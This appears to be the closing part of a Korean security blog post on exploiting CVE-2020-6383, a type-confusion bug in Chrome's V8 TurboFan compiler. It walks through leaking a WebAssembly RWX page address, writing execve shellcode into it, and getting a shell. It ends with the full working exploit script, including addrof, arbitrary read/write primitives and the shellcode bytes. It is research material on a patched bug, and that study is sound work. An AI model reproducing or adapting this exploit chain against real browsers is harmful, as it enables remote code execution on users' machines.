0x8211519

위에서 볼 수 있듯이 WASM 인스턴스 주소가 array보다 낮음을 확인할 수 있다. 따라서 trigger를 더 많이 호출하여 array 주소를 낮추었다.

while (true) {
  w_obj = trigger(); // to read RWX page address

  var offset = (addrof(wasm_instance) - addrof(w_obj[0]));
  if (offset > 0) break;
  for (let i = 0; i < 10000; ++i) {
    trigger();
  }
}

console.log("[+] Array address : " + getHexString(itof(addrof(w_obj[0]))));
console.log("[+] WASM Instance address : " + getHexString(itof(addrof(wasm_instance))));

offset = offset - 0x18n + 0x68n;
var rwx_page_addr;
if (offset % 8n == 4n) {
  const piece1 = ftoi(w_obj[0][offset / 8n]);
  const piece2 = ftoi(w_obj[0][offset / 8n + 1n]);

  rwx_page_addr = ((piece2 & 0xffffffffn) << 32n) | (piece1 >> 32n);
}
else {
  rwx_page_addr = ftoi(w_obj[0][offset / 8n])
}
console.log("[+] RWX page addr : " + getHexString(itof(rwx_page_addr)));
[+] Array address : 0x808f2d5
[+] WASM Instance address : 0x82115ad
[+] RWX page addr : 0x4215cfba000
4-2. 쉘코드 복사

주소를 얻었으니 이제 쉘코드를 Arbitrary write를 이용하여 복사하면 된다. 쉘코드는 다음 페이지에서 가져왔다.

const shellcode = [0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x9090909090050f3bn];
for (let i = 0; i < shellcode.length; i++) {
  arb_write(rwx_page_addr+8n*BigInt(i), shellcode[i]);
}
gdb-peda$ vmmap
Start              End                Perm      Name
0x0000065c7a663000 0x0000065c7a664000 rwxp      mapped
[...]
gdb-peda$ x/32i 0x65c7a663000
   0x65c7a663000:       xor    eax,eax
   0x65c7a663002:       movabs rbx,0xff978cd091969dd1
   0x65c7a66300c:       neg    rbx
   0x65c7a66300f:       push   rbx
   0x65c7a663010:       push   rsp
   0x65c7a663011:       pop    rdi
   0x65c7a663012:       cdq    
   0x65c7a663013:       push   rdx
   0x65c7a663014:       push   rdi
   0x65c7a663015:       push   rsp
   0x65c7a663016:       pop    rsi
   0x65c7a663017:       mov    al,0x3b
   0x65c7a663019:       syscall
   [...]

5. 쉘코드 실행

주어진 인스턴스를 실행하면 덮어쓴 쉘코드가 실행된다.

const f = wasm_instance.exports.main;
f();
$ x64.release/d8 exploit.js 
[+] Array address : 0x8087161
[+] WASM Instance address : 0x82116a5
[+] RWX page addr : 0x36af23b65000
$ ls
exploit.js  peda-session-d8.txt  turbo-0x176208210050-1.json  turbo-trigger-0.json  turbo.cfg  x64.debug  x64.release
$ 

성공적으로 쉘이 실행되는 것을 확인할 수 있다.

전체 코드

// https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
  f64_buf[0] = val;
  return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
  u64_buf[0] = Number(val & 0xffffffffn);
  u64_buf[1] = Number(val >> 32n);
  return f64_buf[0];
}

function getHexString(val) {
  return "0x" + ftoi(val).toString(16);
}

// https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
// PoC code
function trigger() {
  var x = -Infinity;
  var k = 0;
  for (var i = 0; i < 1; i += x) {
      if (i == -Infinity) {
        x = +Infinity;
      }

      if (++k > 10) {
        break;
      }
  }
                                  // JIT                                                / no-JIT
  var value = Math.max(i, 1024);  // [1024, inf]    (actual value : NaN (0))            / NaN
  value = -value;                 // [-inf, -1024]  (actual value : NaN (0))            / NaN
  value = Math.max(value, -1025); // [-1025, -1024] (actual value : NaN (0))            / NaN
  value = -value;                 // [1024, 1025]   (actual value : NaN (0))            / NaN
  value -= 1022;                  // [2, 3]         (actual value : -1022 (0x7ffffc02)) / NaN
  value >>= 1; // *** 3 ***       // 1              (actual value : 0x3ffffe01)         / NaN >> 1 = 0
  value += 10;                    // 1 + 10 = 11    (acutal value : 0x3ffffe0b)         / 10

  var array = Array(value);
  array[0] = 1.1;
  return [array, {}];
};

for (let i = 0; i < 40000; ++i) {
  trigger();
}

function addrof(obj) {
  var m_obj = trigger();
  m_obj[1] = obj;
  return ftoi(m_obj[0][16]) & 0xffffffffn;
}

function arb_read(addr) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  return ftoi(dataView.getFloat64(0, true));
}

function arb_write(addr, value) {
  var m_obj = trigger();
  m_obj[1] = new ArrayBuffer(8);
  m_obj[0][21] = itof(addr); // backing store pointer
  const dataView = new DataView(m_obj[1]);
  dataView.setFloat64(0, itof(value), true);
}

// https://wasdk.github.io/WasmFiddle/
const wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasm_mod = new WebAssembly.Module(wasm_code);
const wasm_instance = new WebAssembly.Instance(wasm_mod);

var w_obj; // to read RWX page address
while (true) {
  w_obj = trigger(); // to read RWX page address

  var offset = (addrof(wasm_instance) - addrof(w_obj[0]));
  if (offset > 0) break;
  for (let i = 0; i < 10000; ++i) {
    trigger();
  }
}

console.log("[+] Array address : " + getHexString(itof(addrof(w_obj[0]))));
console.log("[+] WASM Instance address : " + getHexString(itof(addrof(wasm_instance))));

offset = offset - 0x18n + 0x68n;
var rwx_page_addr;
if (offset % 8n == 4n) {
  const piece1 = ftoi(w_obj[0][offset / 8n]);
  const piece2 = ftoi(w_obj[0][offset / 8n + 1n]);

  rwx_page_addr = ((piece2 & 0xffffffffn) << 32n) | (piece1 >> 32n);
}
else {
  rwx_page_addr = ftoi(w_obj[0][offset / 8n])
}
console.log("[+] RWX page addr : " + getHexString(itof(rwx_page_addr)));

// copy shellcode
const shellcode = [0x91969dd1bb48c031n, 0x53dbf748ff978cd0n, 0xb05e545752995f54n, 0x9090909090050f3bn];
for (let i = 0; i < shellcode.length; i++) {
  arb_write(rwx_page_addr+8n*BigInt(i), shellcode[i]);
}

const f = wasm_instance.exports.main;
f();

결론

안정적이고 성공적으로 익스플로잇을 작성할 수 있었다. Turbofan 취약점 익스플로잇이라 난이도가 좀 높았지만 많은 어려움 없이 익스플로잇을 작성하였다. Turbolizer가 알 수 없는 버그로 인해 실행이 불가능해서 그래프를 보면서 원인 분석을 할 수 없었지만 그래프 없이도 충분히 원인 분석을 진행할 수 있었고, 원인 분석을 통해 취약점의 원인을 이해할 수 있었고 익스플로잇도 작성할 수 있었다.

해당 익스플로잇을 작성하기 위한 참고 자료들은 아래와 같다.

  1. 본인의 과거 동아리 세미나 자료들 (2020.01): (비공개)
  2. 본인이 작성했던 v8.4.0 익스플로잇 (연구목적, 2020.06): https://github.com/candymate/csed499I-01
  3. Faith. Exploiting v8: *CTF 2019 oob-v8. https://syedfarazabrar.com/2019-12-13-starctf-oob-v8-indepth/. 2019.
  4. Crbug 페이지 : https://bugs.chromium.org/p/chromium/issues/detail?id=1051017&q=cve-2020-6383&can=1
  5. 라온화이트햇 핵심연구팀 조진호. v8 1 day CVE-2020-6383. https://core-research-team.github.io/2020-06-01/v8-1-day-CVE-2020-6383 . 2020

'보안 > CVE Analysis' 카테고리의 다른 글

QEMU CVE-2019-6778 Analysis  (0) 2021.01.19
V8 CVE-2020-6383 Exploit  (0) 2021.01.19

+ Recent posts